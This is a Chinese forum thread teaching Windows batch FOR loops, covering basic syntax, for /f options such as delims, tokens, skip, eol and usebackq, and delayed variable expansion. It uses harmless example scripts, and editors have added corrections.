尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
3楼
发表于 2008-10-16 21:10 | 只看该作者

二、for语句的基本用法[2008.11.9更新]

本帖最后由 Hello123World 于 2012-6-16 13:27 编辑

    正如色彩缤纷的七彩光芒是由红绿蓝三原色构成的一样，最复杂的for语句，也有其基本形态，它的模样是这样的：
（以下3条代码修改由qzwqzw提供）　　在cmd窗口中：
  1. FOR %variable IN (set) DO command [command-parameters]
复制代码
    在批处理文件中：
  1. FOR %%variable IN (set) DO command [command-parameters]，
复制代码

具体例子：
  1. For %i in (1 2 3) do @echo %i
复制代码
之所以要区分cmd窗口和批处理文件两种环境，是因为在这两种环境下，命令语句表现出来的行为虽然基本一样，但是在细节上还是稍有不同，最明显的一个差异就是：在cmd窗口中，for之后的形式变量I必须使用单百分号引用，即%I；而在批处理文件中，引用形式变量I必须使用双百分号，即%%I。为了方便起见，若不是特别强调，以下的讲解都以批处理文件环境为例。

    我们先来看一下for语句的基本要素都有些什么：
    1、for、in和do是for语句的关键字，它们三个缺一不可；
    2、%%I是for语句中对形式变量的引用，就算它在do后的语句中没有参与语句的执行，也是必须出现的；
    3、in之后，do之前的括号不能省略；
    4、command1表示字符串或变量，command2表示字符串、变量或命令语句；

    现在，你可能已经会写一个简单的for语句了，比如：
[code1]
  1. @echo off

  2. for %%I in (bbs.bathome.net) do echo %%I

  3. pause
复制代码
    保存为批处理文件并执行，将会在弹出的批处理窗口中看到这样的信息：
[result1]
bbs.bathome.net
请按任意键继续...

    很快地，你会觉得这个for语句是如此的简单，简单到你丝毫感受不出它的强大：这个for语句，和我直接用echo语句没什么两样啊！

    是的，演示代码永远都只是演示而已，就像大多数高级语言的教科书一样，在引导新手学习的时候，基本上都是千篇一律地告诉大家如何编写一个能显示 hello world! 的窗口，从这些演示代码中，你看不到它们具有多少实用性，你只是感到有点好奇：咦，居然弹出了一个窗口？片刻之后，你就会觉得索然无味。

    那好吧，为了让大家对for更加感兴趣，我们先来分析一下for语句的一些注意事项，之后，再让大家看看更为强大的for语句实例。

    1、for语句的形式变量I，可以换成26个字母中的任意一个，这些字母会区分大小写，也就是说，%%I和%%i会被认为不是同一个变量；形式变量I还可以换成其他的字符，但是，为了不与批处理中的%0～%9这10个形式变量发生冲突，请不要随意把%%I替换为%%0 ～%%9中的任意一个；
    2、in和do之间的command1表示的字符串或变量可以是一个，也可以是多个，每一个字符串或变量，我们称之为一个元素，每个元素之间，用空格键、跳格键、逗号、分号或等号分隔；
    3、for语句依次提取command1中的每一个元素，把它的值赋予形式变量I,带到do后的command2中参与命令的执行；并且每次只提取一个元素，然后执行一次do后的命令语句，而无论这个元素是否被带到command2中参与了command2的运行；当执行完一次do后的语句之后，再提取command1中的下一个元素，再执行一次command2，如此循环，直到command1中的所有元素都已经被提取完毕，该for语句才宣告执行结束；
    其中，第3点是最为关键的，它描述了for语句的执行过程，是for语句的精髓所在，大家一定要牢记这一条，才能深刻理解更为复杂的for流程。

    有了以上的基础，我们再来看一个例子，这个例子修改了[code1]的部分内容，结果将大不一样：
[code2]
  1. @echo off

  2. for %%I in (bbs,bathome,net) do echo %%I

  3. pause
复制代码
    和[code1]的执行结果[result1]相比，[result2]发生了如下变化：

    1、显示结果分成了3行（不算最后一行中文提示）；
    2、每一行都从逗号处被切分；

    如果把 bbs.bathome.net 这个字符串中的点号换为空格、跳格或等号，执行结果将和example2的执行结果别无二致。

    现在，我们来分析一下[code2]代码中for语句的执行过程：

    首先，for语句以逗号为分隔符，把 bbs,bathome.net 这个字符串切分成三个元素：bbs、bathome和cn，由此决定了do后的语句将会被执行3次；
    然后，第一次执行过程是这样的：先把 bbs 这个字符串作为形式变量I的值，带入do后的语句中加以执行，也就是执行 echo %%I 语句，此时的I值为bbs，因此，第一次执行的结果，将会在屏幕上显示bbs这个字符串；第二次执行和第一次执行的过程是一样的，只不过此时I的值已经被替换为command1中的第二个元素了，也就是 bathome 这个字符串；如此循环，当第三次echo执行完毕之后，整条for语句才算执行完毕，此时，将执行下一条语句，也就是pause命令。

    其实，这个例子只比上一个例子多了一点花样，有趣了那么一点点：一条for语句的执行结果居然被分成了3行！

    为了让大家见识一下for的真正威力，本人绞尽脑汁，翻帖无数，不得要领，万般无奈之下，只好亮出了尘封在箱底多年的一段代码：检测当前硬盘都有哪些分区^_^
[code3]
  1. @echo off

  2. set str=c d e f g h i j k l m n o p q r s t u v w x y z

  3. echo 当前硬盘的分区有：

  4. for %%i in (%str%) do if exist %%i: echo %%i:

  5. pause
复制代码
    这段代码能检测硬盘都有哪些分区，包括U盘和移动硬盘的分区，但是，当光驱中有盘的时候，也会被列出来，这是本代码的一个缺憾，在以后的讲解中，我将向大家讲述如何消除这个瑕疵，敬请关注本系列的后续章节。

    高级应用：

    想知道当前目录下都有哪些文件吗？请用下面的代码：
  1. @echo off

  2. for %%i in (*.*) do echo "%%i"

  3. pause
复制代码
    想列出当前目录下所有的文本文件吗？请用下面的代码：
  1. @echo off

  2. for %%i in (*.txt) do echo "%%i"

  3. pause
复制代码
    想列出只用两个字符作为文件名的文本文件吗？(hello123world注:实际上这个代码是输出少于或等于两个字符作为文件名的文本文件)请用下面的代码：
  1. @echo off

  2. for %%i in (??.txt) do echo "%%i"

  3. pause
复制代码
    题外话：

    1、列出当前目录下各种文件的方法，最简单的还是用dir命令，但是，从以上代码中，各位可以加深对for语句执行流程的理解（用到了通配符*和?）；
    2、注意：以上代码不能列出含有隐藏或系统属性的文件；（hello123world注：这里其实有一个很有趣的现象，windows中的系统文件一般具备两种属性——隐藏和系统；但是你如果测试的话就会发现，加上+s属性，但是不加+h的文件是可以被简单的for显示出来的。
例如：
  1. @echo off

  2. attrib +s 1.txt

  3. For  %%i in (*.txt) do Echo %%i

  4. pause
复制代码
这里的1.txt在结果中显示出来了。所以“以上代码不能列出含有隐藏或系统属性的文件”是不准确的，而因该说成“以上代码不能列出含有隐藏属性的文件”）

    练习：用for语句建立test1.txt、test2.txt和test3.txt三个文本文件。

    更全面的练习请看这个帖子：for语句从入门到精通配套练习题
10

评分人数

    • 白鹤隐云: 不错啊技术 + 1
    • pclq: 6666技术 + 1
    • 1123603165: 乐于助人技术 + 1
    • torrent151221: 乐于助人技术 + 1
    • 康熙爷爷: 技术技术 + 1
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
4楼
发表于 2008-10-16 21:10 | 只看该作者

三、文本解析显神威：for /f 用法详解[2009.2.10更新]

本帖最后由 Hello123World 于 2012-6-16 13:40 编辑

        前言

    for /f 是个十分强大的家伙。

    如果说，for语句是批处理中最强大的语句的话，那么，for /f 就是精华中的精华。

    for /f 的强大，和它拥有众多的开关密切相关。因为开关众多，所以用法复杂，本章将分成若干小节，为大家逐一介绍强大的 for /f 语句。

        （一） 为解析文本而生：for /f 的基本用法

    所有的对象，无论是文件、窗体、还是控件，在所有的非机器语言看来，无外乎都是形如"c:\test.txt"、"CWnd"之类的文本信息；而所有的对象，具体的如ini文件中的某条配置信息、注册表中的某个键值、数据库中的某条记录……都只有转化为具有一定格式的文本信息，方可被代码识别、操控。可以说，编程的很大一部分工作，都是在想方设法绞尽脑汁如何提取这些文本信息。

    而提取文本信息，则是for /f的拿手好戏：读取文件内容；提取某几行字符；截取某个字符片段；对提取到的内容再切分、打乱、杂糅……只要你所能想到的花样，for /f 都会想方设法帮你办到，因为，for /f 就是被设计成专门用于解析文本的。

    先来看个例子。

    假如有个文本文件test.txt，内容如下：
[txt1]
论坛的目标是：不求最大，但求最好，做最实用的批处理论坛。
论坛地址：bbs.bathome.net。
这里是：新手晋级的福地，高手论剑的天堂。
    那么，将如下代码保存为test.cmd，并放在test.txt同一目录下运行，将会在屏幕上原样显示test.txt的内容：
[code4]
  1. @echo off

  2. for /f %%i in (test.txt) do echo %%i

  3. pause
复制代码
    这段代码，主要是让你树立这样一种观念：读取文本文件的内容（qzwqzw注：改为“逐行分析文本文件的内容”，因为读取文本文件内容的方法命令有很多，比如重定向输入，又比如type/more/find/sort等命令），请使用 for /f 语句！

    进阶话题：for /f 语句是把整个test.txt一次性显示出来的？

    在这段代码中，虽然执行结果是把test.txt中的所有内容都显示出来了，貌似 for /f 语句是把整个test.txt一次性显示到屏幕上，实际上并非如此。

    无论for语句做何种变化，它的执行过程仍然遵循基本的for流程：依次处理每个元素，直到所有的元素都被处理为止。只不过在for /f语句中，这里的元素是指文件中的每一行，也就是说，for /f 语句是以行为单位处理文本文件的。这是一条极为重要的规则，在上一章中也强调过它的重要性，希望在接下来的学习过程中，你能时刻牢记这一原则，那么，很多问题将会迎刃而解。以下是验证这一说法的演示代码（在[code4]的基础上添加了&pause语句）：
[code5]
  1. @echo off

  2. for /f %%i in (test.txt) do echo %%i&pause

  3. pause
复制代码
        （二） 切分字符串的利器：delims=

    也许你对[code4]这段代码不屑一顾：不就是把test.txt的内容显示出来了么？好像用处不大啊。

    好吧，我们来玩个魔术。

    还是[txt1]这段文本，把[code4]改造一下：
[code6]
  1. @echo off

  2. for /f "delims=，" %%i in (test.txt) do echo %%i

  3. pause
复制代码
    再次运行test.cmd，看到什么变化了吗？！
[result2]
  1. 论坛的目标是：不求最大

  2. 论坛地址：bbs.bathome.net。

  3. 这里是：新手晋级的福地

  4. 请按任意键继续...
复制代码
    结果，你惊奇地发现，每行第一个逗号之后的所有内容都不见了（如果有不存在逗号的行，则保留原样），也就说，你成功地提取到了每行第一个逗号之前的所有内容！

    试想一下，这段代码会有什么用呢？

    如果别人给了你一个软件清单，每行都是"英文软件名（逗号）中文软件名"的格式，而你却只想保留英文名的时候，这段代码将是多么有用啊！再假设，有这么一个IP文件，第一列是数字格式的IP地址，第二列是具体的空间地址，列与列之间用逗号分隔，而你想提取其中数字格式的IP，呵呵，我不说你也知道该怎么办了吧？

    要是文本内容不是以逗号分隔，而是以其他符号分隔，那么，把"delims=,"的逗号换成相应的符号就可以了。

    在这里，我们引入了一个新的开关："delims=，"，它的含义是：以逗号作为被处理的字符串的分隔符号。

    在批处理中，指定分隔符号的方法是：添加一个形如 "delims=符号列表" 的开关，这样，被处理的每行字符串都会被符号列表中罗列出来的符号切分开来。

    需要注意的是：如果没有指定"delims=符号列表"这个开关，那么，for /f 语句默认以空格键或跳格键作为分隔符号。请把[txt1]中不同位置上的标点符号改为空格或跳格，再运行[code4]试试。

    进阶话题：如果我要指定的符号不止一个，该怎么办？

    在上面的讲解中，我提到了指定分隔符号的方法：添加一个形如"delims=符号列表"的开关。不知道你注意到没有，我的说法是"符号列表"而非"符号"，这是大有讲究的，因为，你可以一次性指定多个分隔符号！

    还是以[txt1]为例，把[code6]再改造一下：
[code7]
  1. @echo off

  2. for /f "delims=.，" %%i in (test.txt) do echo %%i

  3. pause
复制代码
    结果显示：
[result3]
  1. 论坛的目标是：不求最大

  2. 论坛地址：bbs

  3. 这里是：新手晋级的福地

  4. 请按任意键继续...
复制代码
    这样，第一个点号或第一个逗号之前的内容都被提取出来了。

    [code7]的执行过程是：逐行读取test.txt中的内容，以点号和逗号切分每一行的内容（不存在点号和逗号的行，则不再切分，为了描述的方便，我们把被点号或逗号切分的一个一个的字符串片段，称之为节），然后，for /f 会提取第一节的内容作为最终结果，显示在屏幕上。需要注意的是，在这里，所有行的字符串被切分成了两个以上的节，但是，[code7]的代码只会提取第一节字符串的内容，因为 for /f 语句默认只提取第一节的符串。

        （三） 定点提取：tokens=

    上一节在讲解 delims= 的时候，我一再强调 for /f 默认只能提取到第一节的内容，现在我们来思考一个问题：如果我要提取的内容不在第一节上，那怎么办？

    这回，就该轮到 tokens= 出马了。

    tokens= 后面一般跟的是数字，如 tokens=2，也可以跟多个，但是每个数字之间用逗号分隔，如 tokens=3,5,8，它们的含义分别是：提取第2节字符串、提取第3、第5和第8节字符串。注意，这里所说的“节”，是由 delims= 这一开关划分的，它的内容并不是一成不变的。

    下面来看一个例子：
[txt2]
  1. 尺有所短，寸有所长，学好批处理没商量，考虑问题复杂化，解决问题简洁化。
复制代码
    对[txt2]这段文本，假设它们保存在文件test.txt中，如果我想提取“学好批处理没商量”这句话，该如何写代码呢？

    我们稍微观察一下[txt2]就会发现，如果以逗号作为切分符号，就正好可以把“学好批处理没商量”化为单独的一“节”，结合上一节的讲解，我们知道，"delims=，" 这个开关是不可缺少的，而要提取的内容在以逗号切分的第3节上，那么，tokens= 后面的数字就应该是3了，最终的代码如下：
[code8]
  1. @echo off

  2. for /f "delims=， tokens=3" %%i in (test.txt) do echo %%i

  3. pause
复制代码
    如果我们现在要提取的不只一个“节”，而是多个，那又怎么办呢？比如，要提取以逗号切分的第2节和第5节字符串，是写成这样吗？
[code9]
  1. @echo off

  2. for /f "delims=， tokens=2,5" %%i in (test.txt) do echo %%i

  3. pause
复制代码
    运行批处理后发现，执行结果只显示了第2节的内容。

    原来，echo 后面的 %%i 只接收到了 tokens=2,5 中第一个数值2所代表的那个字符串，而第二个数值5所代表的字符串因为没有变量来接收，所以就无法在执行结果中显示出来了。

    那么，要如何接收 tokens= 后面多个数值所指代的内容呢？

    for /f 语句对这种情况做如下规定：

    如果 tokens= 后面指定了多个数字，如果形式变量为%%i，那么，第一个数字指代的内容用第一个形式变量%%i来接收，第二个数字指代的内容用第二个形式变量%%j来接收，第三个数字指代的内容用第三个形式变量%%k来接收……第N个数字指代的内容用第N个形式变量来接收，其中，形式变量遵循字母的排序，第N个形式变量具体是什么符号，由第一个形式变量来决定：如果第一个形式变量是%%i，那么，第二个形式变量就是%%j；如果第一个形式变量用的是%%x，那么，第二个形式变量就是%%y。

    现在回头去看[code9]，你应该知道如何修改才能满足题目的要求了吧？修改结果如下：
[code10]
  1. @echo off

  2. for /f "delims=， tokens=2,5" %%i in (test.txt) do echo %%i %%j

  3. pause
复制代码
    如果有这样一个要求：显示[txt2]中的内容，但是逗号要替换成空格，如何编写代码？

    结合上面所学的内容，稍加思索，你可能很快就得出了答案：
[code11]
  1. @echo off

  2. for /f "delims=， tokens=1,2,3,4,5" %%i in (test.txt) do echo %%i %%j %%k %%l %%m

  3. pause
复制代码
    写完之后，你可能意识到这样一个问题：假如要提取的“节”数不是5，而是10，或者20，或者更多，难道我也得从1写到10、20或者更多吗？有没有更简洁的写法呢？

    答案是有的，那就是：如果要提取的内容是连续的多“节”的话，那么，连续的数字可以只写最小值和最大值，中间用短横连接起来即可，比如 tokens=1,2,3,4,5 可以简写为 tokens=1-5 。

    还可以把这个表达式写得更复杂一点：tokens=1,2-5，tokens=1-3,4,5，tokens=1-4,5……怎么方便就怎么写吧。

    大家可能还看到一种比较怪异的写法：
[code12]
  1. @echo off

  2. for /f "delims=， tokens=1,*" %%i in (test.txt) do echo %%i %%j

  3. pause
复制代码
    结果，第一个逗号不见了，取代它的是一个空格符号，其余部分保持不变。

    其中奥妙就在这个星号上面。

    tokens=后面所接的星号具备这样的功能：字符串从左往右被切分成紧跟在*之前的数值所表示的节数之后，字符串的其余部分保持不变，整体被*所表示的一个变量接收。

    理论讲解是比较枯燥的，特别是为了严密起见，还使用了很多限定性的修饰词，导致句子很长，增加了理解的难度，我们还是结合[code12]来讲解一下吧。

    [txt2] 的内容被切分，切分符号为逗号，当切分完第一节之后，切分动作不再继续下去，因为 tokens=1,* 中，星号前面紧跟的是数字1；第一节字符串被切分完之后，其余部分字符串不做任何切分，整体作为第二节字符串，这样，[txt2]就被切分成了两节，分别被变量%%i和变量%%j接收。

    以上几种切分方式可以结合在一起使用。不知道下面这段代码的含义你是否看得懂，如果看不懂的话，那就运行一下代码，然后反复揣摩，你一定会更加深刻地理解本节所讲解的内容的：
[code13]
  1. @echo off

  2. for /f "delims=， tokens=1,3-4,*" %%i in (test.txt) do echo %%i %%j %%k %%l

  3. pause
复制代码
        （四） 跳过无关内容，直奔主题：skip=n

    很多时候，有用的信息并不是贯穿文本内容的始终，而是位于第N行之后的行内，为了提高文本处理的效率，或者不受多余信息的干扰，for /f 允许你跳过这些无用的行，直接从第N+1行开始处理，这个时候，就需要使用参数 skip=n，其中，n是一个正整数，表示要跳过的行数。例如：
[code14]
  1. @echo off

  2. for /f "skip=2" %%i in (test.txt) do echo %%i

  3. pause
复制代码
    这段代码将跳过头两行内容，从第3行起显示test.txt中的信息。

        （五） 忽略以指定字符打头的行：eol=

    在cmd窗口中敲入：for /?，相关的解释为：
eol=c - 指一个行注释字符的结尾(就一个)
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
会分析 myfile.txt 中的每一行，忽略以分号打头的那些行……

    第一条解释狗屁不通，颇为费解：行注释字符的结尾是什么意思？“(就一个)”怎么回事？结合第二条解释，才知道eol有忽略指定行的功能。但是，这两条解释是互相矛盾的：到底是忽略以指定字符打头的行，还是忽略以指定字符结尾的行？

    实践是检验真理的唯一标准，还是用代码来检验一下eol的作用吧：
[code15]
  1. @echo off

  2. for /f "eol=;" %%i in (test.txt) do echo %%i

  3. pause
复制代码
    结果，那些以分号打头的行没有显示出来。

    由此可见，第二条解释是正确的，eol= 的准确含义是：忽略以指定字符打头的行。而第一条的“结尾”纯属微软在信口开河。

    那么，“(就一个)”又作何解释呢？

    试试这个代码：
[code16]
  1. @echo off

  2. for /f "eol=,;" %%i in (test.txt) do echo %%i

  3. pause
复制代码
    此时，屏幕上出现 此时不应有 ;"。 的报错信息。可见，在指定字符的时候，只能指定1个——在很多时候，我对这样的设计颇有微词而又无可奈何：为什么只能指定1个而不是多个？要忽略多个还得又是if又是findstr加管道来多次过滤，那效率实在太低下了——能用到的功能基本上都提供，但是却又做不到更好，批处理，你的功能为什么那么弱？

    不知道大家注意到没有，如果test.txt中有以分号打头的行，那么，这些行在代码[code14]的执行结果中将凭空消失。

    原来，for /f 语句是默认忽略以分号打头的行内容的，正如它默认以空格键或跳格键作为字符串的切分字符一样。（hello123world注：eol=;这种默认设置，在delims=;时变得无效。）

    很多时候，我们可以充分利用这个特点，比如，在设计即将用for读取的配置文件的时候，可以在注释文字的行首加上分号，例如在编写病毒文件查杀代码的时候，可以通过for语句来读取病毒文件列表，那么，病毒文件列表.ini这个配置文件可以这样写：
;以下是常见的病毒文件，请见一个杀一个^_^
;copyleft:没有
qq.exe
msn.exe
iexplore.exe

    如果要取消这个默认设置，可选择的办法是：

    1、为eol=指定另外一个字符；
    2、使用 for /f "eol=" 语句，也就是说，强制指定字符为空，就像对付delims=一样。

        （六）如何决定该使用 for /f 的哪种句式？（兼谈usebackq的使用）

    for /f %%i in (……) do (……) 语句有好几种变形语句，不同之处在于第一个括号里的内容：有的是用单引号括起来，有的是用双引号包住，有的不用任何符号包裹，具体格式为：

    1、for /f %%i in (文件名) do (……)
    2、for /f %%i in ('命令语句') do (……)
    3、for /f %%i in ("字符串") do (……)

    看到这里，我想很多人可能已经开始犯了迷糊了：如果要解决一个具体问题，面对这么多的选择，如何决定该使用哪一条呢？

    实际上，当我在上面罗列这些语句的时候，已经有所提示了，不知道你是否注意到了。

    如果你一时无法参透其中奥妙，那也无妨，请听我一一道来便是。

    1、当你希望读取文本文件中的内容的话，第一个括号中不用任何符号包裹，应该使用的是第1条语句；例如：你想显示test.txt中的内容，那么，就使用 for /f %%i in (test.txt) do echo %%i；
    2、当你读取的是命令语句执行结果中的内容的话，第一个括号中的命令语句必须使用单引号包裹，应该使用的是第2条语句；例如：你想显示当前目录下文件名中含有test字符串的文本文件的时候，应该使用 for /f %%i in ('dir /a-d /b *test*.txt') do echo %%i 这样的语句；
    3、当你要处理的是一个字符串的时候，第一个括号中的内容必须用双引号括起来，应该是用的是第3条语句；例如：当你想把bbs.bathome.net这串字符中的点号换为短横线并显示出来的话，可以使用 for /f "delims=. tokens=1-3" %%i in ("bbs.bathome.net") do echo %%i-%%j-%%k 这样的语句。

    很显然，第一个括号里是否需要用符号包裹起来，以及使用什么样的符号包裹，取决于要处理的对象属于什么类型：如果是文件，则无需包裹；如果是命令语句，则用单引号包裹；如果是字符串，则使用双引号括起来。

    当然，事情并不是绝对如此，如果细心的你想到了批处理中难缠的特殊字符，你肯定会头大如斗。

    或许你头脑中灵光一闪，已经想到了一个十分头痛的问题：在第1条语句中，如果文件名中含有空格或&，该怎么办？

    照旧吗？

    拿个叫 test 1.txt 的文件来试试。

    你很快写好了代码，新建文件-->码字-->保存为批处理，前后费时不到1分钟：
[code17]
  1. @echo off

  2. for /f %%i in (test 1.txt) do echo %%i

  3. pause
复制代码
    你兴冲冲地双击批处理，运行后，屏幕上出现了可耻的报错信息：系统找不到文件 test 。

    当你把 test 1.txt 换成 test&1.txt 后，更怪异的事情发生了：CMD窗口在你眼前一闪而过，然后，优雅地消失了。

    你可能觉得自己的代码写错了某些符号，你再仔细的检查了一次，确认没有笔误，然后，你再次双击批处理，结果问题照旧；你开始怀疑其他程序对它可能有影响，于是关掉其他窗口，再运行了一次，问题依旧；你不服气地连续运行了好几次，还是同样的结果。

    怪哉！

    你一拍大腿，猛然想起了一件事：当路径中含有特殊字符的时候，应该使用引号把路径括起来。对，就是它了！

    但是，当你把代码写出来之后，你很快就焉了：for /f %%i in ("test 1.txt") do echo %%i，这不就是上面提到的第3条 for /f 命令的格式吗？批处理会把 test 1.txt 这个文件名识别为字符串啊！

    你百无聊赖地在CMD窗口中输入 for /? ，并重重地敲下了回车，漫无目的地在帮助信息中寻找，希望能找到点什么。

    结果还真让你到了点什么。

    你看到了这样的描述：
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且一个单
引号字符为文字字符串命令并允许在 filenameset
中使用双引号扩起文件名称。

    但是，通读一遍之后，你却如坠五里雾中，不知所云。

    还好，下面有个例子，并配有简单的说明：

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。

    你仔细对比了for /f语句使用usebackq和不使用usebackq时在写法上的差别，很快就找到了答案：当使用了usebackq之后，如果第一个括号中是一条命令语句，那么，就要把单引号'改成后引号`（键盘左上角esc键下面的那个按键，与~在同一键位上）。

    回过头去再看那段关于usebackq的描述，字斟句酌，反复揣摩，终于被你破译了天机：usebackq 是一个增强型参数，当使用了这个参数之后，原来的for语句中第一个括号内的写法要做如下变动：如果第一个括号里的对象是一条命令语句的话，原来的单引号'要改为后引号`；如果第一个括号里的对象是字符串的话，原来的双引号"要改为单引号'；如果第一个括号里的对象是文件名的话，要用双引号"括起来。

    验证一下，把[code17]改写成如下代码：
[code18]
  1. @echo off

  2. for /f "usebackq" %%i in ("test 1.txt") do echo %%i

  3. pause
复制代码
    测试通过！

    此时，你很可能会仰天长叹：Shit，微软这该死的机器翻译！

    至于把[code17]代码中的空格换成&后，CMD窗口会直接退出，那是因为&是复合语句的连接符，CMD在预处理的时候，会优先把&前后两部分作为两条语句来解析，而不是大家想象中的一条完整的for语句，从而产生了严重的语法错误。因为牵涉到预处理机制问题，不属于本节要讨论的内容，在此不做详细讲解。

    这个时候，我们会吃惊地发现，区区一条for语句，竟然有多达6种句型：

    1、for /f %%i in (文件名) do (……)
    2、for /f %%i in ('命令语句') do (……)
    3、for /f %%i in ("字符串") do (……)
    4、for /f "usebackq" %%i in ("文件名") do (……)
    5、for /f "usebackq" %%i in (`命令语句`) do (……)
    6、for /f "usebackq" %%i in ('字符串') do (……)

    其中，4、5、6由1、2、3发展而来，他们有这样的对应关系：1-->4、2-->5、3-->6。

    好在后3种情形并不常用，所以，牢牢掌握好前三种句型的适用情形就可以了，否则，要在这么多句型中确定选择哪一条语句来使用，还真有点让人头脑发懵。

    至于 for /f 为什么要增加usebacq参数，我只为第4条语句找到了合理的解释：为了兼容文件名中所带的空格或&。它在第5、6条语句中为什么还有存在的必要，我也不是很明白，这有待于各位去慢慢发现。（hello123world注：这种解释虽然有点不靠谱，但也算一种解释，大家将就看看吧。启用usebackq选项的时候，“文件名”取代了“字符串”，那么“字符串”只好改变为“命令语句”，“命令语句”只好用后引号重新表示——简而言之，是“文件名”符号改变引起的蝴蝶效应。言外之意：usebackq除了在处理带空格的文件名时会用到外，根本就没有其它的出场机会和存在价值。）

[ 本帖最后由 namejm 于 2010-12-25 03:22 编辑 ]
9

评分人数

    • jrx401: 感谢详细的解释。技术 + 1
    • chris0912: 感谢分享技术 + 1
    • L-殇: 已将QQ,MSN,IE删除,现用GG与YY...技术 + 1
    • an410398183: 学习学习技术 + 1
    • wangx: 对我的帮助很大，谢谢分享技术 + 1
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
5楼
发表于 2008-10-16 21:11 | 只看该作者

（七）变量延迟详解[2009.2.12更新]

    变量延迟在for语句中起着至关重要的作用，不只是在for语句中，在其他的复合语句中，它也在幕后默默地工作着，为了突出它的重要性，本节内容在单独的楼层中发出来，希望引起大家的重视。

    对于批处理新手而言，“变量延迟”这个概念很可能闻所未闻，但是，它却像一堵横亘在你前进道路上的无形高墙，你感受不到它的存在，但当你试图往前冲时，它会把你狠狠地弹回来，让你无法逾越、无功而返；而一旦找到了越过它的方法，你就会发现，在for的世界里，前面已经是一片坦途，而你对批处理的理解，又上升到了一个新的境界。

    例如，你编写了这样一个代码：
[code19]
  1. @echo off

  2. set num=0&&echo %num%

  3. pause
复制代码
    你的本意是想对变量num赋值之后，再把这个值显示出来，结果，显示出来的并不是0，而是显示：ECHO 处于关闭状态。

    之所以会出错，是因为“变量延迟”这个家伙在作怪。

    在讲解变量延迟之前，我们需要了解一下批处理的执行过程，它将有助于我们深入理解变量延迟。

    批处理的执行过程是怎样的呢？

    “自上而下，逐条执行”，我想，这个经典的说法大家都已经耳熟能详了，没事的时候倒着念，也还别有一番古韵呢^_^，但是，我想问大家的是，大家真的深刻地理解了这句话的含义了吗？

    “自上而下”，这一条和我们本节的讲解关系不大，暂时略过不说，后一条，“逐条执行”和变量延迟有着莫大的干系，它是我们本节要关注的重点。

    很多人往往认为一行代码就是一条语句，从而把“逐条执行”与“逐行执行”等同起来，这就大错特错了。

    莫非“逐条执行”里暗藏着玄机？

    正是如此。

    “逐条”并不等同于“逐行”。这个“条”，是“一条完整的语句”的意思，并不是指“一行代码”。在批处理中，是不是一条完整的语句，并不是以行来论的，而是要看它的作用范围。

    什么样的语句才算“一条完整的语句”呢？

    1、在复合语句中，整个复合语句是一条完整的语句，而无论这个复合语句占用了多少行的位置。常见的复合语句有：for语句、if……else语句、用连接符&、||和&&连接的语句，用管道符号|连接的语句，以及用括号括起来的、由多条语句组合而成的语句块；
    2、在非复合语句中，如果该语句占据了一行的位置，则该行代码为一条完整的语句。
    例如：
[code20]
  1. @echo off

  2. set num=0

  3. for /f %%i in ('dir /a-d /b *.exe') do (

  4.     set /a num+=1

  5.     echo num 当前的值是 %num%

  6. )

  7. echo 当前目录下共有 %num% 个exe文件

  8. dir /a-d /b *.txt|findstr "test">nul&&(

  9.     echo 存在含有 test 字符串的文本本件

  10. )||echo 不存在含有 test 字符串的文本文件

  11. if exist test.ini (

  12.     echo 存在 test.ini 文件

  13. ) else echo 不存在 test.ini 文件

  14. pause
复制代码
    上面的代码共有14行，但是只有完整的语句只有7条，它们分别是：

    第1条：第1行的echo语句；
    第2条：第2行的set语句；
    第3条：第3、4、5、6行上的for复合语句；
    第4条：第7行的echo语句；
    第5条：第8、9、10行上用&&和||连接的复合语句；
    第6条：第11、12、13行上的if……else复合语句；
    第7条：第14行上的pause语句。

    在这里，我之所以要花这么长的篇幅来说明一行代码并不见得就是一条语句，是因为批处理的执行特点是“逐条”执行而不是“逐行”执行，澄清了这个误解，将会更加理解批处理的预处理机制。

    在代码“逐条”执行的过程中，cmd.exe这个批处理解释器会对每条语句做一些预处理工作，这就是批处理中大名鼎鼎的“预处理机制”。

    预处理的大致情形是这样的：首先，把一条完整的语句读入内存中（不管这条语句有多少行，它们都会被一起读入），然后，识别出哪些部分是命令关键字，哪些是开关、哪些是参数，哪些是变量引用……如果代码语法有误，则给出错误提示或退出批处理环境；如果顺利通过，接下来，就把该条语句中所有被引用的变量及变量两边的百分号对，用这条语句被读入内存之就已经赋予该变量的具体值来替换……当所有的预处理工作完成之后，批处理才会执行每条完整语句内部每个命令的原有功能。也就是说，如果命令语句中含有变量引用（变量及紧邻它左右的百分号对），并且某个变量的值在命令的执行过程中被改变了，即使该条语句内部的其他地方也用到了这个变量，也不会用最新的值去替换它们，因为某条语句在被预处理的时候，所有的变量引用都已经被替换成字符串常量了，变量值在复合语句内部被改变，不会影响到语句内部的其他任何地方。

